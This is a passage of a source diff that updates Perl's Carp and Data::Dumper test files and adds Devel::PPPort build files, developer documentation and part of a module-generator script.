our $has_utf8; BEGIN { $has_utf8 = exists($::{"utf8::"}); }
-our $has_overload; BEGIN { $has_overload = exists($::{"overload::"}); }
our $has_B; BEGIN { $has_B = exists($::{"B::"}); }
+our $has_UNIVERSAL_isa; BEGIN { $has_UNIVERSAL_isa = exists($UNIVERSAL::{"isa::"}); }
use Carp;
sub { sub { Carp::longmess("x") }->() }->(\1, "\x{2603}", qr/\x{2603}/);
-print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1\n";
-print !(exists($::{"overload::"}) xor $has_overload) ? "" : "not ", "ok 2\n";
-print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 3\n";
+print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1 # used utf8\n";
+print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 2 # used B\n";
+print !(exists($UNIVERSAL::{"isa::"}) xor $has_UNIVERSAL_isa) ? "" : "not ", "ok 3 # used UNIVERSAL::isa\n";
# Autovivify $::{"overload::"}
() = \$::{"overload::"};
() = \$::{"utf8::"};
eval { sub { Carp::longmess() }->(\1) };
-print $@ eq '' ? "ok 4\n" : "not ok 4\n# $@";
+print $@ eq '' ? "ok 4 # longmess check1\n" : "not ok 4 # longmess check1\n# $@";
# overload:: glob without hash
undef *{"overload::"};
eval { sub { Carp::longmess() }->(\1) };
-print $@ eq '' ? "ok 5\n" : "not ok 5\n# $@";
+print $@ eq '' ? "ok 5 # longmess check2\n" : "not ok 5 # longmess check2\n# $@";
1;
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t
index a440b0a1a41..5db82dad328 100755
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t
@@ -12,7 +12,7 @@ BEGIN {
}
use strict;
-use Test::More tests => 15;
+use Test::More tests => 24;
use Data::Dumper;
{
@@ -144,4 +144,39 @@ SKIP: {
&$tests;
}
+{ # https://rt.perl.org/Ticket/Display.html?id=128524
+ my $want;
+ my $runtime = "runtime";
+ my $requires = "requires";
+ utf8::upgrade(my $uruntime = $runtime);
+ utf8::upgrade(my $urequires = $requires);
+ for my $run ($runtime, $uruntime) {
+ for my $req ($requires, $urequires) {
+ my $data = { $run => { $req => { foo => "bar" } } };
+ local $Data::Dumper::Useperl = 1;
+ # we want them all the same
+ defined $want or $want = Dumper($data);
+ is(Dumper( $data ), $want, "utf-8 indents");
+ SKIP:
+ {
+ defined &Data::Dumper::Dumpxs
+ or skip "No XS available", 1;
+ local $Data::Dumper::Useperl = 0;
+ is(Dumper( $data ), $want, "utf8-indents");
+ }
+ }
+ }
+}
+
+# RT#130487 - stack management bug in XS deparse
+SKIP: {
+ skip "No XS available", 1 if !defined &Data::Dumper::Dumpxs;
+ sub rt130487_args { 0 + @_ }
+ my $code = sub {};
+ local $Data::Dumper::Useperl = 0;
+ local $Data::Dumper::Deparse = 1;
+ my $got = rt130487_args( Dumper($code) );
+ is($got, 1, "stack management in XS deparse works, rt 130487");
+}
+
# EOF
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t
index c281fcea021..cddde8cb6e1 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t
@@ -15,7 +15,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 8;
+use Test::More tests => 16;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -24,7 +24,9 @@ use Testing qw( _dumptostr );
note("\$Data::Dumper::Deparse and Deparse()");
-{
+for my $useperl (0, 1) {
+ local $Data::Dumper::Useperl = $useperl;
+
my ($obj, %dumps, $deparse, $starting);
use strict;
my $struct = { foo => "bar\nbaz", quux => sub { "fleem" } };
@@ -46,11 +48,11 @@ note("\$Data::Dumper::Deparse and Deparse()");
$dumps{'objzero'} = _dumptostr($obj);
is($dumps{'noprev'}, $dumps{'dddzero'},
- "No previous setting and \$Data::Dumper::Deparse = 0 are equivalent");
+ "No previous setting and \$Data::Dumper::Deparse = 0 are equivalent (useperl=$useperl)");
is($dumps{'noprev'}, $dumps{'objempty'},
- "No previous setting and Deparse() are equivalent");
+ "No previous setting and Deparse() are equivalent (useperl=$useperl)");
is($dumps{'noprev'}, $dumps{'objzero'},
- "No previous setting and Deparse(0) are equivalent");
+ "No previous setting and Deparse(0) are equivalent (useperl=$useperl)");
local $Data::Dumper::Deparse = 1;
$obj = Data::Dumper->new( [ $struct ] );
@@ -62,19 +64,19 @@ note("\$Data::Dumper::Deparse and Deparse()");
$dumps{'objone'} = _dumptostr($obj);
is($dumps{'dddtrue'}, $dumps{'objone'},
- "\$Data::Dumper::Deparse = 1 and Deparse(1) are equivalent");
+ "\$Data::Dumper::Deparse = 1 and Deparse(1) are equivalent (useperl=$useperl)");
isnt($dumps{'dddzero'}, $dumps{'dddtrue'},
- "\$Data::Dumper::Deparse = 0 differs from \$Data::Dumper::Deparse = 1");
+ "\$Data::Dumper::Deparse = 0 differs from \$Data::Dumper::Deparse = 1 (useperl=$useperl)");
like($dumps{'dddzero'},
qr/quux.*?sub.*?DUMMY/s,
- "\$Data::Dumper::Deparse = 0 reports DUMMY instead of deparsing coderef");
+ "\$Data::Dumper::Deparse = 0 reports DUMMY instead of deparsing coderef (useperl=$useperl)");
unlike($dumps{'dddtrue'},
qr/quux.*?sub.*?DUMMY/s,
- "\$Data::Dumper::Deparse = 1 does not report DUMMY");
+ "\$Data::Dumper::Deparse = 1 does not report DUMMY (useperl=$useperl)");
like($dumps{'dddtrue'},
qr/quux.*?sub.*?use\sstrict.*?fleem/s,
- "\$Data::Dumper::Deparse = 1 deparses coderef");
+ "\$Data::Dumper::Deparse = 1 deparses coderef (useperl=$useperl)");
}
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t
index bcfa251f71e..2814f0b2153 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t
@@ -14,7 +14,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 10;
+use Test::More tests => 9;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -35,10 +35,6 @@ $dumper->Indent();
$dumpstr{indent_no_arg} = _dumptostr($dumper);
$dumper = Data::Dumper->new([$hash]);
-$dumper->Indent(undef);
-$dumpstr{indent_undef} = _dumptostr($dumper);
-
-$dumper = Data::Dumper->new([$hash]);
$dumper->Indent(0);
$dumpstr{indent_0} = _dumptostr($dumper);
# $VAR1 = {'foo' => 42}; # no newline
@@ -59,8 +55,6 @@ $dumpstr{indent_2} = _dumptostr($dumper);
is($dumpstr{noindent}, $dumpstr{indent_no_arg},
"absence of Indent is same as Indent()");
-is($dumpstr{noindent}, $dumpstr{indent_undef},
- "absence of Indent is same as Indent(undef)");
isnt($dumpstr{noindent}, $dumpstr{indent_0},
"absence of Indent is different from Indent(0)");
isnt($dumpstr{indent_0}, $dumpstr{indent_1},
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t
index 2ce81acc022..54a89e6dbcc 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t
@@ -15,7 +15,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 20;
+use Test::More tests => 18;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -77,16 +77,9 @@ note("Argument validation for new()");
$dumps{'noprev'} = _dumptostr($obj);
$obj = Data::Dumper->new([$a,$b]);
- $obj->Pad(undef);
- $dumps{'undef'} = _dumptostr($obj);
-
- $obj = Data::Dumper->new([$a,$b]);
$obj->Pad('');
$dumps{'emptystring'} = _dumptostr($obj);
- is($dumps{'noprev'}, $dumps{'undef'},
- "No setting for \$Data::Dumper::Pad and Pad(undef) give same result");
-
is($dumps{'noprev'}, $dumps{'emptystring'},
"No setting for \$Data::Dumper::Pad and Pad('') give same result");
@@ -114,16 +107,9 @@ note("Argument validation for new()");
$dumps{'noprev'} = _dumptostr($obj);
$obj = Data::Dumper->new([$a,$b]);
- $obj->Varname(undef);
- $dumps{'undef'} = _dumptostr($obj);
-
- $obj = Data::Dumper->new([$a,$b]);
$obj->Varname('');
$dumps{'emptystring'} = _dumptostr($obj);
- is($dumps{'noprev'}, $dumps{'undef'},
- "No setting for \$Data::Dumper::Varname and Varname(undef) give same result");
-
# Because Varname defaults to '$VAR', providing an empty argument to
# Varname produces a non-default result.
isnt($dumps{'noprev'}, $dumps{'emptystring'},
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t
index 9559bddab88..c7eafe472e4 100755
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t
@@ -15,7 +15,7 @@ BEGIN {
}
use strict;
-use vars qw($want_colon $want_comma);
+our ($want_colon, $want_comma);
use Test::More tests => 9;
no warnings qw(once);
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
index f287101ae34..3a7dc49b193 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 24;
+use Test::More tests => 22;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -80,14 +80,6 @@ note("\$Data::Dumper::Purity and Purity()");
is($dumps{'noprev'}, $dumps{'objzero'},
"No previous Purity setting equivalent to Purity(0)");
-
- $purity = undef;
- $obj = Data::Dumper->new([$a,$b,$c], [qw(a b c)]);
- $obj->Purity($purity);
- $dumps{'objundef'} = _dumptostr($obj);
-
- is($dumps{'noprev'}, $dumps{'objundef'},
- "No previous Purity setting equivalent to Purity(undef)");
}
{
@@ -364,13 +356,6 @@ note("\$Data::Dumper::Maxdepth and Maxdepth()");
is($dumps{'noprev'}, $dumps{'maxdepthempty'},
"No previous Maxdepth setting equivalent to Maxdepth() with no argument");
- $obj = Data::Dumper->new([$f], [qw(f)]);
- $obj->Maxdepth(undef);
- $dumps{'maxdepthundef'} = _dumptostr($obj);
-
- is($dumps{'noprev'}, $dumps{'maxdepthundef'},
- "No previous Maxdepth setting equivalent to Maxdepth(undef)");
-
$maxdepth = 3;
$obj = Data::Dumper->new([$f], [qw(f)]);
$obj->Maxdepth($maxdepth);
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t
index a5be98050c9..a815c365d59 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t
@@ -3,7 +3,7 @@ use strict;
use warnings;
use Data::Dumper;
-use Test::More tests => 6;
+use Test::More tests => 10;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -23,39 +23,26 @@ for my $useperl (0..1) {
WANT
}
-my (%dumpstr);
my $dumper;
$dumper = Data::Dumper->new([$hash]);
-$dumpstr{noterse} = _dumptostr($dumper);
-# $VAR1 = {
-# 'foo' => 42
-# };
+my $dumpstr_noterse = _dumptostr($dumper);
$dumper = Data::Dumper->new([$hash]);
$dumper->Terse();
-$dumpstr{terse_no_arg} = _dumptostr($dumper);
+is _dumptostr($dumper), $dumpstr_noterse;
$dumper = Data::Dumper->new([$hash]);
$dumper->Terse(0);
-$dumpstr{terse_0} = _dumptostr($dumper);
+is _dumptostr($dumper), $dumpstr_noterse;
$dumper = Data::Dumper->new([$hash]);
$dumper->Terse(1);
-$dumpstr{terse_1} = _dumptostr($dumper);
-# {
-# 'foo' => 42
-# }
+isnt _dumptostr($dumper), $dumpstr_noterse;
$dumper = Data::Dumper->new([$hash]);
-$dumper->Terse(undef);
-$dumpstr{terse_undef} = _dumptostr($dumper);
-
-is($dumpstr{noterse}, $dumpstr{terse_no_arg},
- "absence of Terse is same as Terse()");
-is($dumpstr{noterse}, $dumpstr{terse_0},
- "absence of Terse is same as Terse(0)");
-isnt($dumpstr{noterse}, $dumpstr{terse_1},
- "absence of Terse is different from Terse(1)");
-is($dumpstr{noterse}, $dumpstr{terse_undef},
- "absence of Terse is same as Terse(undef)");
+is $dumper->Terse(1), $dumper;
+is $dumper->Terse, 1;
+is $dumper->Terse(undef), $dumper;
+is $dumper->Terse, undef;
+is _dumptostr($dumper), $dumpstr_noterse;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS b/gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS
new file mode 100644
index 00000000000..285a2e12411
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS
@@ -0,0 +1,324 @@
+=head1 NAME
+
+HACKERS - Devel::PPPort internals for hackers
+
+=head1 SYNOPSIS
+
+So you probably want to hack C<Devel::PPPort>?
+
+Well, here's some information to get you started with what's
+lying around in this distribution.
+
+=head1 DESCRIPTION
+
+=head2 How to build 366 versions of Perl
+
+C<Devel::PPPort> supports Perl versions between 5.003 and bleadperl.
+To guarantee this support, I need some of these versions on my
+machine. I currently have 366 different Perl version/configuration
+combinations installed on my laptop.
+
+As many of the old Perl distributions need patching to compile
+cleanly on newer systems (and because building 366 Perls by hand
+just isn't fun), I wrote a tool to build all the different
+versions and configurations. You can find it in F<devel/buildperl.pl>.
+It can currently build the following Perl releases:
+
+ 5.003
+ 5.004 - 5.004_05
+ 5.005 - 5.005_04
+ 5.6.x
+ 5.7.x
+ 5.8.x
+ 5.9.x
+ 5.1x.x
+
+=head2 Fully automatic API checks
+
+Knowing which parts of the API are not backwards compatible and
+probably need C<Devel::PPPort> support is another problem that's
+not easy to deal with manually. If you run
+
+ perl Makefile.PL --with-apicheck
+
+a C file is generated by F<parts/apicheck.pl> that is compiled
+and linked with C<Devel::PPPort>. This C file has the purpose of
+using each of the public API functions/macros once.
+
+The required information is derived from F<parts/embed.fnc> (just
+a copy of bleadperl's F<embed.fnc>), F<parts/apidoc.fnc> (which
+is generated by F<devel/mkapidoc.sh> and simply collects the rest
+of the apidoc entries spread over the Perl source code) and
+F<parts/ppport.fnc> (which lists all API provided purely by
+Devel::PPPort).
+The generated C file F<apicheck.c> is currently about 500k in size
+and takes quite a while to compile.
+
+Usually, F<apicheck.c> won't compile with older perls. And even if
+it compiles, there's still a good chance of the dynamic linker
+failing at C<make test> time. But that's on purpose!
+
+We can use these failures to find changes in the API automatically.
+The two Perl scripts F<devel/mktodo> and F<devel/mktodo.pl>
+repeatedly run C<Devel::PPPort> with the apicheck code through
+all different versions of perl. Scanning the output of the compiler
+and the dynamic linker for errors, the files in F<parts/todo/> are
+generated. These files list all parts of the public API that don't
+work with less than a certain version of Perl.
+
+This information is in turn used by F<parts/apicheck.pl> to mask
+API calls in the generated C file for these versions, so the
+process can be stopped by the time F<apicheck.c> compiles cleanly
+and the dynamic linker is happy. (Actually, this process may generate
+false positives, so by default each API call is checked once more
+afterwards.)
+
+Running F<devel/mktodo> takes about an hour, depending of course
+on the machine you're running it on. If you run it with
+the C<--nocheck> option, it won't recheck the API calls that failed
+in the compilation stage and it'll take significantly less time.
+Running with C<--nocheck> should usually be safe.
+
+When running F<devel/mktodo> with the C<--base> option, it will
+generate the I<baseline> todo files by disabling all functionality
+provided by C<Devel::PPPort>. These are required for implementing
+the C<--compat-version> option of the F<ppport.h> script. The
+baseline todo files hold the information about which version of
+Perl lacks a certain part of the API.
+
+However, only the documented public API can be checked this way.
+And since C<Devel::PPPort> provides more macros, these would not be
+affected by C<--compat-version>. It's the job of F<devel/scanprov>
+to figure out the baseline information for all remaining provided
+macros by scanning the include files in the F<CORE> directory of
+various Perl versions.
+
+The whole process isn't platform independent. It has currently been
+tested only under Linux, and it definitely requires at least C<gcc> and
+the C<nm> utility.
+
+It's not very often that one has to regenerate the baseline and todo
+files. If you have to, you can either run F<devel/regenerate> or just
+execute the following steps by hand:
+
+=over 4
+
+=item *
+
+You need a whole bunch of different Perls. The more, the better.
+You can use F<devel/buildperl.pl> to build them. I keep my perls
+in F</tmp/perl>, so most of the tools take this as a default.
+
+=item *
+
+You also need a freshly built bleadperl that is in the path under
+exactly this name. (The name of the executable is currently hardcoded
+in F<devel/mktodo> and F<devel/scanprov>.)
+
+=item *
+
+Remove all existing todo files in the F<parts/base> and
+F<parts/todo> directories.
+
+=item *
+
+Update the API information. Copy the latest F<embed.fnc> file from
+bleadperl to the F<parts> directory and run F<devel/mkapidoc.sh> to
+collect the remaining information in F<parts/apidoc.fnc>.
+
+=item *
+
+Build the new baseline by running
+
+ perl devel/mktodo --base
+
+in the root directory of the distribution. When it's finished,
+move all files from the F<parts/todo> directory to F<parts/base>.
+
+=item *
+
+Build the new todo files by running
+
+ perl devel/mktodo
+
+in the root directory of the distribution.
+
+=item *
+
+Finally, add the remaining baseline information by running
+
+ perl Makefile.PL && make
+ perl devel/scanprov --mode=write
+
+=back
+
+=head2 Implementation
+
+Residing in F<parts/inc/> is the "heart" of C<Devel::PPPort>. Each
+of the files implements a part of the supported API, along with
+hints, dependency information, XS code and tests.
+The files are in a POD-like format that is parsed using the
+functions in F<parts/ppptools.pl>.
+
+The scripts F<PPPort_pm.PL>, F<PPPort_xs.PL> and F<mktests.PL> all
+use the information in F<parts/inc/> to generate the main module
+F<PPPort.pm>, the XS code in F<RealPPPort.xs> and various test files
+in F<t/>.
+
+All of these files could be generated on the fly while building
+C<Devel::PPPort>, but not having the tests in F<t/> will confuse
+TEST/harness in the core. Not having F<PPPort.pm> will be bad for
+viewing the docs on C<search.cpan.org>. So unfortunately, it's
+unavoidable to put some redundancy into the package.
+
+=head2 Adding stuff to Devel::PPPort
+
+First, check if the code you plan to add fits into one of the
+existing files in F<parts/inc/>. If not, just start a new one and
+remember to include it from within F<PPPort_pm.PL>.
+
+Each file holds all relevant data for implementing a certain part
+of the API:
+
+=over 2
+
+=item *
+
+A list of the provided API in the C<=provides> section.
+
+=item *
+
+The implementation to add to F<ppport.h> in the C<=implementation>
+section.
+
+=item *
+
+The code required to add to PPPort.xs for testing the implementation.
+This code goes into the C<=xshead>, C<=xsinit>, C<=xsmisc>, C<=xsboot>
+and C<=xsubs> section. Have a look at the template at the bottom
+of F<PPPort_xs.PL> to see where the code ends up.
+
+=item *
+
+The tests in the C<=tests> section. Remember not to use any fancy
+modules or syntax elements, as the test code should be able to run
+with Perl 5.003, which, for example, doesn't support C<my> in
+C<for>-loops:
+
+ for my $x (1, 2, 3) { } # won't work with 5.003
+
+You can use C<ok()> to report success or failure:
+
+ ok($got == 42);
+ ok($got, $expected);
+
+Regular expressions are not supported as the second argument to C<ok>,
+because older perls do not support the C<qr> operator.
+
+=back
+
+It's usually the best approach to just copy an existing file and
+use it as a template.
+
+=head2 Implementation Hints
+
+In the C<=implementation> section, you can use
+
+ __UNDEFINED__ macro some definition
+
+instead of
+
+ #ifndef macro
+ # define macro some definition
+ #endif
+
+The macro can have optional arguments and the definition can even
+span multiple lines, like in
+
+ __UNDEFINED__ SvMAGIC_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+ (((XPVMG*) SvANY(sv))->xmg_magic = (val)); } STMT_END
+
+This usually makes the code more compact and readable. And you
+only have to add C<__UNDEFINED__> to the C<=provided> section.
+
+Version checking can be tricky if you want to do it correct.
+You can use
+
+ #if { VERSION < 5.9.3 }
+
+instead of
+
+ #if ((PERL_VERSION < 9) || (PERL_VERSION == 9 && PERL_SUBVERSION < 3))
+
+The version number can be either of the new form C<5.x.x> or of the older
+form C<5.00x_yy>. Both are translated into the correct preprocessor
+statements. It is also possible to combine this with other statements:
+
+ #if { VERSION >= 5.004 } && !defined(sv_vcatpvf)
+ /* a */
+ #elif { VERSION < 5.004_63 } && { VERSION != 5.004_05 }
+ /* b */
+ #endif
+
+This not only works in the C<=implementation> section, but also in
+the C<=xsubs>, C<=xsinit>, C<=xsmisc>, C<=xshead> and C<=xsboot> sections.
+
+=head2 Testing
+
+To automatically test C<Devel::PPPort> with lots of different Perl
+versions, you can use the F<soak> script. Just pass it a list of
+all Perl binaries you want to test.
+
+=head2 Special Makefile targets
+
+You can use
+
+ make regen
+
+to regenerate all of the autogenerated files. To get rid of all
+generated files (except for F<parts/todo/*> and F<parts/base/*>),
+use
+
+ make purge_all
+
+That's it.
+
+=head2 Submitting Patches
+
+If you've added some functionality to C<Devel::PPPort>, please
+consider submitting a patch with your work to P5P by sending a mail
+L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+When submitting patches, please only add the relevant changes
+and don't include the differences of the generated files. You
+can use the C<purge_all> target to delete all autogenerated
+files.
+
+=head2 Integrating into the Perl core
+
+When integrating this module into the Perl core, be sure to
+remove the following files from the distribution. They are
+either not needed or generated on the fly when building this
+module in the core:
+
+ MANIFEST
+ META.yml
+ PPPort.pm
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See F<ppport.h> and F<devel/regenerate>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL
new file mode 100644
index 00000000000..117f9d107aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL
@@ -0,0 +1,154 @@
+################################################################################
+#
+# Makefile.PL -- generate Makefile
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+require 5.003;
+
+use strict;
+use ExtUtils::MakeMaker;
+
+use vars '%opt'; # needs to be global, and we can't use 'our'
+
+unless ($ENV{'PERL_CORE'}) {
+ $ENV{'PERL_CORE'} = 1 if grep { $_ eq 'PERL_CORE=1' } @ARGV;
+}
+
+@ARGV = map { /^--with-(apicheck)$/ && ++$opt{$1} ? () : $_ } @ARGV;
+
+WriteMakefile(
+ NAME => 'Devel::PPPort',
+ VERSION_FROM => 'PPPort_pm.PL',
+ PM => { 'PPPort.pm' => '$(INST_LIBDIR)/PPPort.pm' },
+ H => [ qw(ppport.h) ],
+ OBJECT => 'RealPPPort$(OBJ_EXT) $(O_FILES)',
+ XSPROTOARG => '-noprototypes',
+ CONFIGURE => \&configure,
+ META_MERGE => {
+ 'meta-spec' => {
+ version => 2,
+ },
+ resources => {
+ bugtracker => {
+ web => 'https://rt.perl.org/rt3/',
+ },
+ repository => {
+ type => 'git',
+ url => 'git://perl5.git.perl.org/perl.git',
+ web => 'https://perl5.git.perl.org/perl.git',
+ },
+ },
+ },
+);
+
+sub configure
+{
+ my @clean = qw{ $(H_FILES) RealPPPort.xs RealPPPort.c };
+ my %depend = ('$(OBJECT)' => '$(H_FILES)');
+ my @C_FILES = qw{ module2.c module3.c },
+ my %PL_FILES = (
+ 'ppport_h.PL' => 'ppport.h',
+ 'PPPort_pm.PL' => 'PPPort.pm',
+ 'PPPort_xs.PL' => 'RealPPPort.xs',
+ );
+ my @moreopts;
+
+ if (eval $ExtUtils::MakeMaker::VERSION >= 6) {
+ push @moreopts, AUTHOR => 'Marcus Holland-Moritz <mhx@cpan.org>';
+ if (-f 'PPPort.pm') {
+ push @moreopts, ABSTRACT_FROM => 'PPPort.pm';
+ }
+ }
+
+ if (eval $ExtUtils::MakeMaker::VERSION >= 6.30_01) {
+ print "Setting license tag...\n";
+ push @moreopts, LICENSE => 'perl';
+ }
+
+ if ($ENV{'PERL_CORE'}) {
+ # Pods will be built by installman.
+ push @clean, 'PPPort.pm';
+ }
+ else {
+ # Devel::PPPort is in the core since 5.7.3
+ # 5.11.0+ has site before perl
+ push @moreopts, INSTALLDIRS => (
+ ($] >= 5.007003 and $] < 5.011)
+ ? 'perl'
+ : 'site'
+ );
+ }
+
+ if ($opt{'apicheck'}) {
+ $PL_FILES{'apicheck_c.PL'} = 'apicheck.c';
+ push @C_FILES, qw{ apicheck.c };
+ push @clean, qw{ apicheck.c apicheck.i };
+ $depend{'apicheck.i'} = 'ppport.h';
+ }
+
+ return {
+ C => \@C_FILES,
+ XS => { 'RealPPPort.xs' => 'RealPPPort.c' },
+ PL_FILES => \%PL_FILES,
+ depend => \%depend,
+ clean => { FILES => "@clean" },
+ @moreopts,
+ };
+}
+
+sub MY::postamble
+{
+ package MY;
+ my $post = shift->SUPER::postamble(@_);
+ $post .= <<'POSTAMBLE';
+
+purge_all: realclean
+ @$(RM_F) PPPort.pm t/*.t
+
+regen_pm:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) PPPort_pm.PL
+
+regen_xs:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) PPPort_xs.PL
+
+regen_tests:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) mktests.PL
+
+regen_h:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) ppport_h.PL
+
+regen: regen_pm regen_xs regen_tests regen_h
+
+POSTAMBLE
+ return $post;
+}
+
+sub MY::c_o
+{
+ package MY;
+ my $co = shift->SUPER::c_o(@_);
+
+ if ($::opt{'apicheck'} && $co !~ /^\.c\.i:/m) {
+ print "Adding custom rule for preprocessed apicheck file...\n";
+
+ $co .= <<'CO'
+
+.SUFFIXES: .i
+
+.c.i:
+ $(CCCMD) -E -I$(PERL_INC) $(DEFINE) $*.c > $*.i
+CO
+ }
+
+ return $co;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs
new file mode 100644
index 00000000000..2586824ebb0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs
@@ -0,0 +1,3 @@
+This is just a dummy file to let Configure know that Devel::PPPort
+is an XS module. The real XS code is autogenerated from PPPort_xs.PL
+when this module is built and will go to RealPPPort.xs.
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL
new file mode 100644
index 00000000000..1a514f729d5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL
@@ -0,0 +1,681 @@
+################################################################################
+#
+# PPPort_pm.PL -- generate PPPort.pm
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my $INCLUDE = 'parts/inc';
+my $DPPP = 'DPPP_';
+
+my %embed = map { ( $_->{name} => $_ ) }
+ parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc));
+
+my(%provides, %prototypes, %explicit);
+
+my $data = do { local $/; <DATA> };
+$data =~ s{^\%(include)\s+(\w+)((?:[^\S\r\n]+.*?)?)\s*$}
+ {eval "$1('$2', $3)" or die $@}gem;
+
+$data = expand($data);
+
+my @api = sort { lc $a cmp lc $b or $a cmp $b } keys %provides;
+
+$data =~ s{^(.*)__PROVIDED_API__(\s*?)^}
+ {join '', map "$1$_\n", @api}gem;
+
+{
+ my $len = 0;
+ for (keys %explicit) {
+ length > $len and $len = length;
+ }
+ my $format = sprintf '%%-%ds %%-%ds %%s', $len+2, $len+5;
+ $len = 3*$len + 23;
+
+$data =~ s!^(.*)__EXPLICIT_API__(\s*?)^!
+ sprintf("$1$format\n", 'Function / Variable', 'Static Request', 'Global Request') .
+ $1 . '-'x$len . "\n" .
+ join('', map { sprintf "$1$format\n", $explicit{$_} eq 'var' ? $_ : "$_()", "NEED_$_", "NEED_${_}_GLOBAL" }
+ sort keys %explicit)
+ !gem;
+}
+
+my %raw_base = %{&parse_todo('parts/base')};
+my %raw_todo = %{&parse_todo('parts/todo')};
+
+my %todo;
+for (keys %raw_todo) {
+ push @{$todo{$raw_todo{$_}}}, $_;
+}
+
+# check consistency
+for (@api) {
+ if (exists $raw_todo{$_} and exists $raw_base{$_}) {
+ if ($raw_base{$_} eq $raw_todo{$_}) {
+ warn "$INCLUDE/$provides{$_} provides $_, which is still marked "
+ . "todo for " . format_version($raw_todo{$_}) . "\n";
+ }
+ else {
+ check(2, "$_ was ported back to " . format_version($raw_todo{$_}) .
+ " (baseline revision: " . format_version($raw_base{$_}) . ").");
+ }
